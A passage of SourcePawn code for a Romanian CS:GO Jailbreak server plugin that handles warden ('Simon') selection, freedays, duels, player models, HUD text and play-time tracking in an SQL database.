	CreateNative("MostActive_GetPlayTimeCT", Native_GetPlayTimeCT);
	CreateNative("MostActive_GetPlayTimeT", Native_GetPlayTimeT);
	CreateNative("MostActive_GetPlayTimeSpec", Native_GetPlayTimeSpec);
	CreateNative("MostActive_GetPlayTimeTotal", Native_GetPlayTimeTotal);
	gF_OnInsertNewPlayer = CreateGlobalForward("MostActive_OnInsertNewPlayer", ET_Event, Param_Cell);
	RegPluginLibrary("mostactive");
	return APLRes_Success;
}
 
public void OnPluginStart()
{
	// Hooks
	HookEvent("player_team", Event_PlayerTeam, EventHookMode_Pre);
	HookEvent("player_death", Event_PrePlayerDeath, EventHookMode_Pre);
	HookEvent("server_cvar", SilentEvent, EventHookMode_Pre);

	HookEvent("weapon_fire", ClientWeaponReload);
	
	HookEvent("round_start", Event_RoundStart);
	HookEvent("player_spawn", Event_PlayerSpawn);
	
	HookEvent("player_death", Event_PlayerDeath);
	HookEvent("player_connect_full", Event_PlayerConnect);  
	// Comenzi Admin
	RegConsoleCmd("sm_givefreeday", Command_GiveFreeday);
	RegConsoleCmd("sm_gf", Command_GiveFreeday);
	RegConsoleCmd("sm_givevoice", Command_GiveVoice);
	RegConsoleCmd("sm_gv", Command_GiveVoice);
	// Comenzi Gardian
	RegConsoleCmd("sm_onofcelule", SimonOpenDoors);
	RegConsoleCmd("sm_celule", Command_Celule);
	RegConsoleCmd("sm_simon", Command_BecomeSimon);
	RegConsoleCmd("sm_nosimon", Command_ExitSimon);
	RegConsoleCmd("sm_s", Command_BecomeSimon);
	RegConsoleCmd("sm_ns", Command_ExitSimon);
	// Comenzi
	RegConsoleCmd("sm_menu", Command_GeneralMenu);
	RegConsoleCmd("sm_meniu", Command_GeneralMenu);
	RegConsoleCmd("buyammo1", Command_GeneralMenu);
	
	RegConsoleCmd("sm_lr", Command_Duel);
	RegConsoleCmd("sm_duel", Command_Duel);
	
	RegConsoleCmd("orejucate", Command_PlayedTime);
	RegConsoleCmd("sm_ore", Command_PlayedTime);
	RegConsoleCmd("playedtime", Command_PlayedTime);   
	// DataBases
	SQL_TConnect(OnSQLConnect, "orejucate");
	
	// Resetare Setări
	SetCvar("mp_forcecamera", "0");
	SetCvar("mp_friendlyfire", "0");
	Simon = -1;
	SimonPicked = true;
	FreedayEnabled = false;
	DuelEnabled = false;
	DuelDeagle = false;
	DuelRevolver = false;
	DuelHe = false;
	DuelDecoy = false;
	DuelPumni = false;
	BoxEnabled = false;
	
	for (int i = 1; i <= MaxClients; i++)
	{
		if(IsValidClient(i))
		{
			OnClientPutInServer(i);
			
			if(IsPlayerAlive(i))
			{
				SetEntityMoveType(i, MOVETYPE_WALK);
			}
			SetEntPropFloat(i, Prop_Data, "m_flLaggedMovementValue", 1.0);
			SetEntProp(i, Prop_Data, "m_takedamage", 2, 1);
			BecomeSimon[i] = false;
		}
	}
	
	TigariCache = RegClientCookie("Credits", "Credits", CookieAccess_Private);
	RegAdminCmd("sm_settigari", Comanda_SetareTigari, ADMFLAG_RCON);
	
	for(int client = 1; client <= MaxClients; client++)
	{
		if(IsClientInGame(client))
		{
			if(AreClientCookiesCached(client))
			{
				OnClientCookiesCached(client);
			}
		}
	}
	// Targeting
	AddMultiTargetFilter("@simon", ProcessSimon, "Simon", false);
	AddMultiTargetFilter("@!simon", ProcessNotSimon, "everyone but the Simon", false);
	g_DoorList = CreateArray();
	trie_armas = CreateTrie();
}

public void OnMapStart()
{
	Modele();
	Sunete();
	SetCvar("sv_disable_immunity_alpha", "1");
	GameRules_SetProp("m_bIsQueuedMatchmaking", 1);
	SetCvar("mp_teamname_1", "GARDIENI");
	SetCvar("mp_teamname_2", "DEȚINUȚI");
	SetCvar("mp_roundtime", "10");

	CreateTimer(1.0, PlayTimeTimer, _, TIMER_REPEAT|TIMER_FLAG_NO_MAPCHANGE);
	g_ZileJBGO = -1;
	CacheDoors();
}
 
public void OnMapEnd()
{
	ClearArray(g_DoorList);
}
 
public Action Command_PlayedTime( int client, int args )
{
	char steamid[32], buffer[200];
	GetClientAuthId( client, AuthId_Steam2, steamid, sizeof( steamid ) );  
	Format(buffer, sizeof(buffer), "SELECT timeCT, timeTT, timeSPE, total, playername FROM orejucate WHERE steamid = '%s'", steamid);
	SQL_TQuery(g_hDB, SQLShowPlayTime2, buffer, GetClientUserId(client));
}
 
public int SQLShowPlayTime2(Handle owner, Handle hndl, char [] error, any data)
{
	char buffer[124], buffer2[124], buffer3[124], buffer4[124];
	int client;
	if((client = GetClientOfUserId(data)) == 0)
	{
		return;
	}
	if(hndl == INVALID_HANDLE)
	{
		LogError("Query failure: %s", error);
		return;
	}
	if(!SQL_GetRowCount(hndl) || !SQL_FetchRow(hndl))
	{
		PrintToChat(client, " \x03steamid not found in the database");
		return;
	}
	ShowTimer(SQL_FetchInt(hndl, 2), buffer, sizeof(buffer));
	Format(buffer, 124, "%s\x01 ca \x08Vizitator\x01", buffer);
	ShowTimer(SQL_FetchInt(hndl, 1), buffer2, sizeof(buffer2));
	Format(buffer2, 124, "%s\x01 ca \x09Deținut\x01", buffer2);
	ShowTimer(SQL_FetchInt(hndl, 0), buffer3, sizeof(buffer3));
	Format(buffer3, 124, "%s\x01 ca \x0BGardian\x01", buffer3);
	ShowTimer(SQL_FetchInt(hndl, 3), buffer4, sizeof(buffer4));
	Format(buffer4, 124, "Total de ore:\x01 %s", buffer4);	
	PrintToChat( client, " \x0F[BOT]PlayArena\x01: Ai \x08%s, \x09%s, \x0B%s. \x10%s", buffer, buffer2, buffer3, buffer4);
}
 
 
public int OnSQLConnect(Handle owner, Handle hndl, char [] error, any data)
{
	if(hndl == INVALID_HANDLE)
	{
		LogError("Database failure: %s", error);
		SetFailState("Databases dont work");
	}
	else
	{
		g_hDB = hndl;
		SQL_GetDriverIdent(SQL_ReadDriver(g_hDB), g_sSQLBuffer, sizeof(g_sSQLBuffer));
		g_bIsMySQl = StrEqual(g_sSQLBuffer,"mysql", false) ? true : false;
		if(g_bIsMySQl)
		{
			Format(g_sSQLBuffer, sizeof(g_sSQLBuffer), "CREATE TABLE IF NOT EXISTS `orejucate` (`playername` varchar(128) NOT NULL, `steamid` varchar(32) PRIMARY KEY NOT NULL,`last_accountuse` int(64) NOT NULL, `timeCT` INT( 16 ), `timeTT` INT( 16 ),`timeSPE` INT( 16 ), `total` INT( 16 ))");
			SQL_TQuery(g_hDB, OnSQLConnectCallback, g_sSQLBuffer);
		}
		else
		{
			Format(g_sSQLBuffer, sizeof(g_sSQLBuffer), "CREATE TABLE IF NOT EXISTS orejucate (playername varchar(128) NOT NULL, steamid varchar(32) PRIMARY KEY NOT NULL,last_accountuse int(64) NOT NULL, timeCT INTEGER, timeTT INTEGER, timeSPE INTEGER, total INTEGER)");
			SQL_TQuery(g_hDB, OnSQLConnectCallback, g_sSQLBuffer);
		}
		PruneDatabase();
	}
}
 
public int OnSQLConnectCallback(Handle owner, Handle hndl, char [] error, any data)
{
	if(hndl == INVALID_HANDLE)
	{
		LogError("Query failure: %s", error);
		return;
	}
	for(int client = 1; client <= MaxClients; client++)
	{
		if(IsClientInGame(client))
		{
			OnClientPostAdminCheck(client);
		}
	}
}
 
public void InsertSQLNewPlayer(int client)
{
	char query[255], steamid[32], Name[MAX_NAME_LENGTH+1], SafeName[(sizeof(Name)*2)+1];
	int userid = GetClientUserId(client);
	GetClientAuthId(client, AuthId_Steam2,steamid, sizeof(steamid));
	if(!GetClientName(client, Name, sizeof(Name)))
		Format(SafeName, sizeof(SafeName), "<noname>");
	else
	{
		TrimString(Name);
		SQL_EscapeString(g_hDB, Name, SafeName, sizeof(SafeName));
	}
	Format(query, sizeof(query), "INSERT INTO orejucate(playername, steamid, last_accountuse, timeCT, timeTT, timeSPE, total) VALUES('%s', '%s', '%d', '0', '0', '0', '0');", SafeName, steamid, GetTime());
	SQL_TQuery(g_hDB, SaveSQLPlayerCallback, query, userid);
	g_iPlayTimeCT[client] = 0;
	g_iPlayTimeT[client] = 0;
	g_iPlayTimeSpec[client] = 0;
	Call_StartForward(gF_OnInsertNewPlayer);
	Call_PushCell(client);
	Call_Finish();
	g_bChecked[client] = true;
}
 
public int Native_GetPlayTimeCT(Handle plugin, int argc)
{
	int client = GetNativeCell(1);
	return g_iPlayTimeCT[client];
}
 
public int Native_GetPlayTimeT(Handle plugin, int argc)
{
	int client = GetNativeCell(1);
	return g_iPlayTimeT[client];
}
 
public int Native_GetPlayTimeSpec(Handle plugin, int argc)
{
	int client = GetNativeCell(1);
	return g_iPlayTimeSpec[client];
}
 
public int Native_GetPlayTimeTotal(Handle plugin, int argc)
{
	int client = GetNativeCell(1);
	return g_iPlayTimeSpec[client]+g_iPlayTimeCT[client]+g_iPlayTimeT[client];
}
 
public int SaveSQLPlayerCallback(Handle owner, Handle hndl, char [] error, any data)
{
	if(hndl == INVALID_HANDLE)
	{
		LogError("Query failure: %s", error);
	}
}
 
public void CheckSQLSteamID(int client)
{
	char query[255], steamid[32];
	GetClientAuthId(client, AuthId_Steam2,steamid, sizeof(steamid) );
	Format(query, sizeof(query), "SELECT timeCT, timeTT, timeSPE FROM orejucate WHERE steamid = '%s'", steamid);
	SQL_TQuery(g_hDB, CheckSQLSteamIDCallback, query, GetClientUserId(client));
}
 
public int CheckSQLSteamIDCallback(Handle owner, Handle hndl, char [] error, any data)
{
	int client;
	if((client = GetClientOfUserId(data)) == 0)
	{
		return;
	}
	if(hndl == INVALID_HANDLE)
	{
		LogError("Query failure: %s", error);
		return;
	}
	if(!SQL_GetRowCount(hndl) || !SQL_FetchRow(hndl))
	{
		InsertSQLNewPlayer(client);
		return;
	}
	g_iPlayTimeCT[client] = SQL_FetchInt(hndl, 0);
	g_iPlayTimeT[client] = SQL_FetchInt(hndl, 1);
	g_iPlayTimeSpec[client] = SQL_FetchInt(hndl, 2);
	g_bChecked[client] = true;
}
 
public void SaveSQLCookies(int client)
{
	char steamid[32], Name[MAX_NAME_LENGTH+1], SafeName[(sizeof(Name)*2)+1], buffer[3096];
	GetClientAuthId(client, AuthId_Steam2,steamid, sizeof(steamid) );
	if(!GetClientName(client, Name, sizeof(Name)))
		Format(SafeName, sizeof(SafeName), "<noname>");
	else
	{
		TrimString(Name);
		SQL_EscapeString(g_hDB, Name, SafeName, sizeof(SafeName));
	}  
	Format(buffer, sizeof(buffer), "UPDATE orejucate SET last_accountuse = %d, playername = '%s',timeCT = '%i',timeTT = '%i', timeSPE = '%i',total = '%i' WHERE steamid = '%s';",GetTime(), SafeName, g_iPlayTimeCT[client],g_iPlayTimeT[client],g_iPlayTimeSpec[client],g_iPlayTimeCT[client]+g_iPlayTimeT[client]+g_iPlayTimeSpec[client], steamid);
	SQL_TQuery(g_hDB, SaveSQLPlayerCallback, buffer);
	g_bChecked[client] = false;
}
 
public void OnPluginEnd()
{
	for(int client = 1; client <= MaxClients; client++)
	{
		if(IsClientInGame(client))
		{
			OnClientDisconnect(client);
		}
	}
}

public void OnClientCookiesCached(int client)
{
	char TigariCount[12];
	GetClientCookie(client, TigariCache, TigariCount, sizeof(TigariCount));
	Tigari[client]  = StringToInt(TigariCount);
}
 
public void OnClientPostAdminCheck(int client)
{
	if(!IsFakeClient(client)) CheckSQLSteamID(client);
}
 
public void PruneDatabase()
{
	if(g_hDB == INVALID_HANDLE)
	{
		LogToFileEx(g_sCmdLogPath, "Prune Database: No connection");
		return;
	}
	char buffer[1024];
	int maxlastaccuse;
	maxlastaccuse = GetTime() - (26 * 86400);
	if(g_bIsMySQl)
		Format(buffer, sizeof(buffer), "DELETE FROM `orejucate` WHERE `last_accountuse`<'%d' AND `last_accountuse`>'0';", maxlastaccuse);
	else
		Format(buffer, sizeof(buffer), "DELETE FROM orejucate WHERE last_accountuse<'%d' AND last_accountuse>'0';", maxlastaccuse);
	SQL_TQuery(g_hDB, PruneDatabaseCallback, buffer);
}
 
public int PruneDatabaseCallback(Handle owner, Handle hndl, char [] error, any data)
{
	if(hndl == INVALID_HANDLE)
	{
		LogToFileEx(g_sCmdLogPath, "Query failure: %s", error);
	}
}
 
public Action PlayTimeTimer(Handle timer)
{
	for(int i = 1; i <= MaxClients; i++)
	{
		if(IsClientInGame(i) && !IsFakeClient( i ) )
		{
			int team = GetClientTeam(i);
			if(team == 2)
			{
				++g_iPlayTimeT[i];
			}
			else if(team == 3)
			{
				++g_iPlayTimeCT[i];
			}
			else
			{
				++g_iPlayTimeSpec[i];
			}
			SaveSQLCookies( i );
		}
	}
}

int ShowTimer(int Time, char[] buffer,int sizef)
{
	g_iHours = 0;
	g_iMinutes = 0;
	g_iSeconds = Time;
	while(g_iSeconds > 3600)
	{
		g_iHours++;
		g_iSeconds -= 3600;
	}
	while(g_iSeconds > 60)
	{
		g_iMinutes++;
		g_iSeconds -= 60;
	}
	if(g_iHours >= 1)
	{
		Format(buffer, sizef, " \x05%d\x01 ore \x05%d\x01 minute \x05%d\x01 secunde", g_iHours, g_iMinutes, g_iSeconds );
	}
	else if(g_iMinutes >= 1)
	{
		Format(buffer, sizef, " \x05%d\x01 minute \x05%d\x01 secunde", g_iMinutes, g_iSeconds );
	}
	else
	{
		Format(buffer, sizef, " \x05%d\x01 secunde", g_iSeconds );
	}
}

public Action Event_RoundStart(Event event, const char[] name, bool dontBroadcast)
{
	if (GameRules_GetProp("m_bWarmupPeriod") == 1) 
	{ 
		ServerCommand("mp_warmup_end"); 
		g_ZileJBGO = -2;
		CS_TerminateRound(1.0, CSRoundEnd_GameStart);
	}
	openDoors = 0;
	Simon = -1;
	SetCvar("mp_forcecamera", "0");
	SetCvar("mp_friendlyfire", "0");
	SimonPicked = false;
	FreedayEnabled = false;
	DuelEnabled = false;
	DuelDeagle = false;
	DuelRevolver = false;
	DuelHe = false;
	DuelDecoy = false;
	DuelPumni = false;
	BoxEnabled = false;
	CreateTimer(0.2, StartRound);
	int CTs = 0, Ts = 0, teamCountCT = GetTeamClientCount(3);
	if(teamCountCT > 0)
	{
		CreateTimer(0.2, ShowSimonMenu);
		CreateTimer(10.0, PickSimon);
	}
	for(int X = MaxClients + 1; X < 2048; X++)
	{
		if(IsValidEntity(X))
		{
				char sClassname[32];
				GetEntityClassname(X, sClassname, sizeof(sClassname));

				if(StrEqual(sClassname, "weapon_knife", false))
				{
					AcceptEntityInput(X, "kill");
				}
			}
		}
	for (int i = 1; i <= MaxClients; i++)
	{
		if(IsValidClient(i))
		{
			OnClientPutInServer(i);
			
			if(IsPlayerAlive(i))
			{
				SetEntityMoveType(i, MOVETYPE_WALK);
			}
				
			SetEntPropFloat(i, Prop_Data, "m_flLaggedMovementValue", 1.0);
			SetEntProp(i, Prop_Data, "m_takedamage", 2, 1);
			BecomeSimon[i] = false;
			if (g_bGetFreeDay[i] && GetClientTeam(i) == 2)
			{
				SetEntityRenderColor(i, 0, 255, 0, 255);
				g_bGetFreeDay[i] = false;
				PlayerHasFreeday[i] = true;
				PrintToChat(i, " \x0F[BOT]PlayArena\x01: Ai \x06FreeDay\x01 această rundă.");
			}		
			if(GetClientTeam(i) == 3) 	
			{
				if(!CheckCommandAccess(i, "sm_slay", ADMFLAG_GENERIC, true))
				{
					CTs++;
				}
			}
			else if(GetClientTeam(i) == 2)
			{
				Ts++;
			}
		}
	}
	Ts++;	
	if(CTs <= 1)
	{}
	else if(CTs <= RoundToFloor(float(Ts) / 3.0))
	{}
	CreateTimer(0.3, Timer_New_DayHud);
	if(GameRules_GetProp("m_bWarmupPeriod") == 0)
	{
		g_ZileJBGO++;
	}
	if(g_ZileJBGO == 0 || g_ZileJBGO == 7)
	{
		StartFreeDay();	
	}
	switch(g_ZileJBGO)
	{
		case 0: Format(ZileJBGO, sizeof(ZileJBGO), "Duminica");
		case 1: Format(ZileJBGO, sizeof(ZileJBGO), "Luni");
		case 2: Format(ZileJBGO, sizeof(ZileJBGO), "Marți");
		case 3: Format(ZileJBGO, sizeof(ZileJBGO), "Miercuri");
		case 4: Format(ZileJBGO, sizeof(ZileJBGO), "Joi");
		case 5: Format(ZileJBGO, sizeof(ZileJBGO), "Vineri");
		case 6: Format(ZileJBGO, sizeof(ZileJBGO), "Sâmbătă");
		case 7: Format(ZileJBGO, sizeof(ZileJBGO), "Duminică");
	}
	for(int i = 1; i <= MaxClients; i++)
	{
		if(IsValidClient(i) && GameRules_GetProp("m_bWarmupPeriod") == 0)
		{
			int NrMotive = GetRandomInt(0, sizeof(Motive)-1);
			if(!(g_ZileJBGO == -1 || g_ZileJBGO == 0))
			{
				ClientCommand(i, "play \"*xsag/jbgo/cascat_xsag.mp3\"" );
				if(GetClientTeam(i) == 2)
					PrintToChat(i, " \x0F[BOT]PlayArena\x01: Ai fost adus la închisoare pentru \x06%s\x01.", Motive[NrMotive]);
			}
			if(GetClientTeam(i) == 2 || GetClientTeam(i) == 3)
				players_Fade(i);
		}
	}
	if (g_ZileJBGO > 6)
	{
		g_ZileJBGO = 0;
	}
}

public Action Timer_New_DayHud(Handle Timer)
{
	for(int i = 1; i <= MaxClients; i++)
	{
		if(IsValidClient(i))
		{
			SetHudTextParams(-1.0, 0.1, 5.0, GetRandomInt(0, 255), GetRandomInt(0, 255), GetRandomInt(0, 255), 255, 0, 0.00, 0.00, 0.00);
			ShowHudText(i, -1, "[ Astăzi este %s ]\n[ Trezirea ]", ZileJBGO);
		}
	}
	return Plugin_Stop;
}

public Action HudInfoJB(Handle timer)
{
	int Prizonieri = 0, Gardieni = 0, AllPG = 0, Vizitatori = 0, iTimeleft;
	char sTime[64], szTime[30], MapTimeLeft[128];
	
	for (int i = 1; i <= MaxClients; i++)
	{
		if (IsClientInGame(i) && !IsFakeClient(i))
		{
			AllPG++;
			if(GetClientTeam(i) == 2)
			{
				Prizonieri++;
			}
			else if(GetClientTeam(i) == 3)
			{
				Gardieni++;
			}
			else if(GetClientTeam(i) == 1)
			{
				Vizitatori++;
			}
		}
	}
	
	GetMapTimeLeft(iTimeleft);
	FormatTime(szTime, sizeof(szTime), "%H:%M:%S", GetTime());
	FormatTime(sTime, sizeof(sTime), "%M:%S", iTimeleft);
	
	for(int client = 1; client <= MaxClients; client++)
	{
		if(IsValidClient(client))
		{
			Format(MapTimeLeft,sizeof(MapTimeLeft), "%s", sTime);
			if(Simon == 1)
			{
				if(g_ZileJBGO == 0 || g_ZileJBGO == 7) 
				{
					SetHudTextParams(0.0, 0.0, 5.0, 74, 169, 34, 255, 0, 0.1, 0.1, 0.1);  
					ShowHudText(client, 1, "JBGO.PLAYARENA.RO [%i/32]\n\nDeținuți: %i | Gardieni: %i | Vizitatori: %i\nTimeleft: %s\nClock: %s\n%N este Simon\nAstăzi este %s(Zi Liberă)\nȚigări: %i", AllPG, Prizonieri, Gardieni, Vizitatori, MapTimeLeft, szTime, Simon, ZileJBGO, Tigari[client]);
				}
				else
				{
					SetHudTextParams(0.0, 0.0, 5.0, 74, 169, 34, 255, 0, 0.1, 0.1, 0.1);  
					ShowHudText(client, 1, "JBGO.PLAYARENA.RO [%i/32]\n\nDeținuți: %i | Gardieni: %i | Vizitatori: %i\nTimeleft: %s\nClock: %s\n%N este Simon\nAstăzi este %s(Zi Normală)\nȚigări: %i", AllPG, Prizonieri, Gardieni, Vizitatori, MapTimeLeft, szTime, Simon, ZileJBGO, Tigari[client]);	
				}
			}
			else
			{
				if(g_ZileJBGO == 0 || g_ZileJBGO == 7) 
				{
					SetHudTextParams(0.0, 0.0, 5.0, 74, 169, 34, 255, 0, 0.1, 0.1, 0.1);  
					ShowHudText(client, 1, "JBGO.PLAYARENA.RO [%i/32]\n\nDeținuți: %i | Gardieni: %i | Vizitatori: %i\nTimeleft: %s\nClock: %s\nNu este Simon\nAstăzi este %s(Zi Liberă)\nȚigări: %i", AllPG, Prizonieri, Gardieni, Vizitatori, MapTimeLeft, szTime, ZileJBGO, Tigari[client]);
				}
				else
				{
					SetHudTextParams(0.0, 0.0, 5.0, 74, 169, 34, 255, 0, 0.1, 0.1, 0.1);  
					ShowHudText(client, 1, "JBGO.PLAYARENA.RO [%i/32]\n\nDeținuți: %i | Gardieni: %i | Vizitatori: %i\nTimeleft: %s\nClock: %s\nNu este Simon\nAstăzi este %s(Zi Normală)\nȚigări: %i", AllPG, Prizonieri, Gardieni, Vizitatori, MapTimeLeft, szTime, ZileJBGO, Tigari[client]);
				}
			}
		}
	}
}


public Action Event_PlayerSpawn(Event event, const char[] name, bool dontBroadcast)  
{
	int client = GetClientOfUserId(GetEventInt(event, "userid")), weapon;
	CreateTimer(1.0, HudInfoJB, _, TIMER_REPEAT|TIMER_FLAG_NO_MAPCHANGE);
	if(IsValidClient(client)) 
	{
		for(int i = 0; i < 5; i++) 
		{ 
			while((weapon = GetPlayerWeaponSlot(client, i)) != -1) 
			{
				RemovePlayerItem(client, weapon);
				AcceptEntityInput(weapon, "Kill"); 
			} 
		}
		if(GetClientTeam(client) == 2)
		{
			weapon = GivePlayerItem(client, "weapon_fists"); 
			EquipPlayerWeapon(client, weapon);
			int  RandomModelP = GetRandomInt(1, 6);
			switch(RandomModelP)
			{
				case 1:	
				{	
					SetEntityModel(client, "models/player/custom_player/kuristaja/jailbreak/prisoner1/prisoner1.mdl");
				}
				case 2:	
				{
					SetEntityModel(client, "models/player/custom_player/kuristaja/jailbreak/prisoner2/prisoner2.mdl");
				}
				case 3:	
				{	
					SetEntityModel(client, "models/player/custom_player/kuristaja/jailbreak/prisoner3/prisoner3.mdl");
				}
				case 4:	
				{
					SetEntityModel(client, "models/player/custom_player/kuristaja/jailbreak/prisoner4/prisoner4.mdl");
				}
				case 5:	
				{	
					SetEntityModel(client, "models/player/custom_player/kuristaja/jailbreak/prisoner6/prisoner6.mdl");
				}
				case 6:	
				{
					SetEntityModel(client, "models/player/custom_player/kuristaja/jailbreak/prisoner7/prisoner7.mdl");
				}
			}
		}
		else if(GetClientTeam(client) == 3)
		{
			weapon = GivePlayerItem(client, "weapon_fists"); 
			EquipPlayerWeapon(client, weapon);
			int  RandomModelG = GetRandomInt(1, 3);
			switch(RandomModelG)
			{
				case 1:	
				{	
					SetEntityModel(client, "models/player/custom_player/kuristaja/jailbreak/guard1/guard1.mdl");
				}
				case 2:	
				{
					SetEntityModel(client, "models/player/custom_player/kuristaja/jailbreak/guard2/guard2.mdl");
				}
				case 3:	
				{	
					SetEntityModel(client, "models/player/custom_player/kuristaja/jailbreak/guard3/guard3.mdl");
				}
			}
		}
	}
	CreateTimer(0.2, PlayerSpawn, client, TIMER_FLAG_NO_MAPCHANGE);
	return Plugin_Handled;
}

public Action PlayerSpawn(Handle timer, any client)
{
	if(!IsValidClient(client)) 
	{
		return;
	}
	OnClientPutInServer(client);
	SetEntProp(client, Prop_Send, "m_iHideHUD", GetEntProp(client, Prop_Send, "m_iHideHUD") | HIDE_RADAR_CSGO);
	SetEntPropFloat(client, Prop_Data, "m_flLaggedMovementValue", 1.0);
	SetEntProp(client, Prop_Data, "m_takedamage", 2, 1);
	BecomeSimon[client] = false;
	if(GetClientTeam(client) == 3 && !SimonPicked)
	{	
		BecomeSimonMenu(client);
	}
}

public Action Event_PlayerTeam(Event event, const char[] name, bool dontBroadcast)
{
	int client  = GetClientOfUserId(GetEventInt(event, "userid"));
	if(IsValidClient(client))
	{
		if(!dontBroadcast)
		{
			Handle new_event = CreateEvent("player_team", true);	
			SetEventInt(new_event, "userid", GetEventInt(event, "userid"));
			SetEventInt(new_event, "team", GetEventInt(event, "team"));
			SetEventInt(new_event, "oldteam", GetEventInt(event, "oldteam"));
			SetEventBool(new_event, "disconnect", GetEventBool(event, "disconnect"));
			FireEvent(new_event, true);
			return Plugin_Handled;
		}
		CreateTimer(0.2, CheckTeam, client);
		
		if(IsPlayerAlive(client))
		{
			ForcePlayerSuicide(client);
		}
		else if(!CheckCommandAccess(client, "sm_slay", ADMFLAG_GENERIC, true)) 
		{
			SetClientListeningFlags(client, VOICE_MUTED);
		}
		if(client == Simon)
		{
			PrintToChatAll(" \x0F[BOT]PlayArena\x01: \x10%N\x01 a demisionat.", client);
			Simon = -1;
			for(int i = 1; i <= MaxClients; i++)
			{
				if(IsValidClient(i))
				{
					ClientCommand(i, "play \"*xsag/jbgo/unwarden_xsag.mp3\"");
				}
			}
		} 
	}
	return Plugin_Continue;
}

public void OnClientDisconnect(int client)
{
	if(!IsFakeClient(client) && g_bChecked[client]) SaveSQLCookies(client);
	HasAccepted[client] = false;
	
	if(AreClientCookiesCached(client))
	{
		char TigariCount[12];
		Format(TigariCount, sizeof(TigariCount), "%i", Tigari[client]);
		SetClientCookie(client, TigariCache, TigariCount);
	}
	
	if(client == Simon)
	{
		Simon = -1;
		PrintToChatAll(" \x0F[BOT]PlayArena\x01: Simon a părăsit serverul.");
		for(int i = 1; i <= MaxClients; i++)
		{
			if(IsValidClient(i))
			{
				ClientCommand(i, "play \"*xsag/jbgo/unwarden_xsag.mp3\"");
			}
		}
	}
	SDKUnhook(client, SDKHook_OnTakeDamage, Hook_OnTakeDamage);
}

public Action Event_PlayerDeath(Event event, const char[] name, bool dontBroadcast) 
{
	int client = GetClientOfUserId(GetEventInt(event, "userid")), attacker = GetClientOfUserId(GetEventInt(event, "attacker"));
	char cname[32], aname[32];
	GetClientName(client, cname, 32);
	GetClientName(attacker, aname, 32);
	if (!attacker)
	{
		return;
	}
	if (attacker == client)
	{
		return;
    }
	int Prisoners;
	for(int i = 1; i <= MaxClients; i++)
	{
		if (IsClientInGame(i) && IsPlayerAlive(i))
		{
			if (GetClientTeam(i) == CS_TEAM_T)
			{
				Prisoners++;
			}
		}
	}
	if(GetClientTeam(attacker) == 2 && GetClientTeam(client) == 3 && attacker != client && GameRules_GetProp("m_bWarmupPeriod") == 0)  
	{
		Tigari[attacker] += 5;
		PrintToChat(attacker, " \x0F[BOT]PlayArena\x01: Ai primit\x10 5 \x01țigări.");
	}
	if(!CheckCommandAccess(client, "sm_slay", ADMFLAG_GENERIC, true))
	{
		SetClientListeningFlags(client, VOICE_MUTED);
	}
	if(!DuelEnabled)
	{
		if(Simon == -1 && IsValidClient(attacker) && GetClientTeam(attacker) == 3 && client != attacker)
		{
			PrintToChatAll(" \x0F[BOT]PlayArena\x01: \x10%s \x01la omorat pe \x06%s \x01fără să existe un Simon.", aname, cname);
		}
		if(client == Simon && !DuelEnabled)
		{
			PrintToChatAll(" \x0F[BOT]PlayArena\x01: Simon a fost ucis.");
			SetEntityRenderColor(client, 255, 255, 255, 255);
			Simon = -1;
		}
	}
	if(PlayerHasFreeday[client])
	{
		PlayerHasFreeday[client] = false;
	}
	if(DuelEnabled)
	{
		if(GetClientTeam(attacker) == 2 && GetClientTeam(client) == 3 && attacker != client)
		{
			DuelEnabled = false;
			DuelDeagle = false;
			DuelRevolver = false;
			DuelHe = false;
			DuelDecoy = false;
			DuelPumni = false;
			PlayerDuelGuard[client] = false;
			PlayerDuelPrisonier[client] = false;
			FakeClientCommand(attacker, "sm_lr");
		}
	}
	else 
	{
		if(Prisoners == 1)
		{
			for(int idx = 1; idx <= MaxClients; idx++)
			{
				if (IsValidClient (idx) && IsPlayerAlive(idx) && GetClientTeam(idx) == CS_TEAM_T )
				{
					FakeClientCommand(idx, "sm_lr");
				}
			}
		}
		DuelEnabled = false;
		DuelDeagle = false;
		DuelRevolver = false;
		DuelHe = false;
		DuelDecoy = false;
		DuelPumni = false;
		PlayerDuelGuard[client] = false;
		PlayerDuelPrisonier[client] = false;
	}
}
 
public Action Command_BecomeSimon(int client, int args) 
{
	if(Simon != -1)
	{
		PrintToChat(client, " \x0F[BOT]PlayArena\x01: \x10%N \x01este deja Simon.", Simon);
		return Plugin_Handled;
	}
	if(!SimonPicked) 
	{
		PrintToChat(client, " \x0F[BOT]PlayArena\x01: Serverul alege aleatoriu Simon-ul.");
		return Plugin_Handled;
	}
	if(Simon == -1) 
	{
		if (GetClientTeam(client) == 3) 
		{
			if (IsPlayerAlive(client)) 
			{
				SetTheSimon(client);
			}
			else
			{
				PrintToChat(client, " \x0F[BOT]PlayArena\x01: Ești mort, nu poți fii Simon.");
			}
		}
	}
	else
	{
		PrintToChat(client, " \x0F[BOT]PlayArena\x01: \x10%N este deja Simon.", Simon);
	}
	return Plugin_Handled;
}

public Action Command_ExitSimon(int client, int args) 
{
	if(client == Simon)
	{
		PrintToChatAll(" \x0F[BOT]PlayArena\x01: \x10%N \x01a demisionat.", client);
		for(int i = 1; i <= MaxClients; i++)
		{
			if(IsValidClient(i))
			{
				ClientCommand(i, "play \"*xsag/jbgo/unwarden_xsag.mp3\"");
			}
		}
		Simon = -1;
		int  RandomModelG = GetRandomInt(1, 3);
		switch(RandomModelG)
		{
			case 1:	
			{	
				SetEntityModel(client, "models/player/custom_player/kuristaja/jailbreak/guard1/guard1.mdl");
			}
			case 2:	
			{
				SetEntityModel(client, "models/player/custom_player/kuristaja/jailbreak/guard2/guard2.mdl");
			}
			case 3:	
			{	
				SetEntityModel(client, "models/player/custom_player/kuristaja/jailbreak/guard3/guard3.mdl");
			}
		}
	}
	return Plugin_Handled;
}

public Action StartRound(Handle timer)
{
	for (int i = 1; i <= MaxClients; i++)
	{
		if(IsValidClient(i))
		{
			OnClientPutInServer(i);
			
			if(IsPlayerAlive(i))
				SetEntityMoveType(i, MOVETYPE_WALK);
			else if(!CheckCommandAccess(i, "sm_slay", ADMFLAG_GENERIC, true) && GetClientTeam(i) != 3)
				SetClientListeningFlags(i, VOICE_MUTED);
			
			SetEntPropFloat(i, Prop_Data, "m_flLaggedMovementValue", 1.0);
			SetEntProp(i, Prop_Data, "m_takedamage", 2, 1);
	
			BecomeSimon[i] = false;
		}
	}
}

public Action ShowCommanderMenu(Handle Timer, any data) 
{
	for (int i = 1; i <= MaxClients; i++)
	{	
		if(IsValidClient(i))
		{
			BecomeSimon[i] = false;
				
			if(GetClientTeam(i) == 3) 
			{
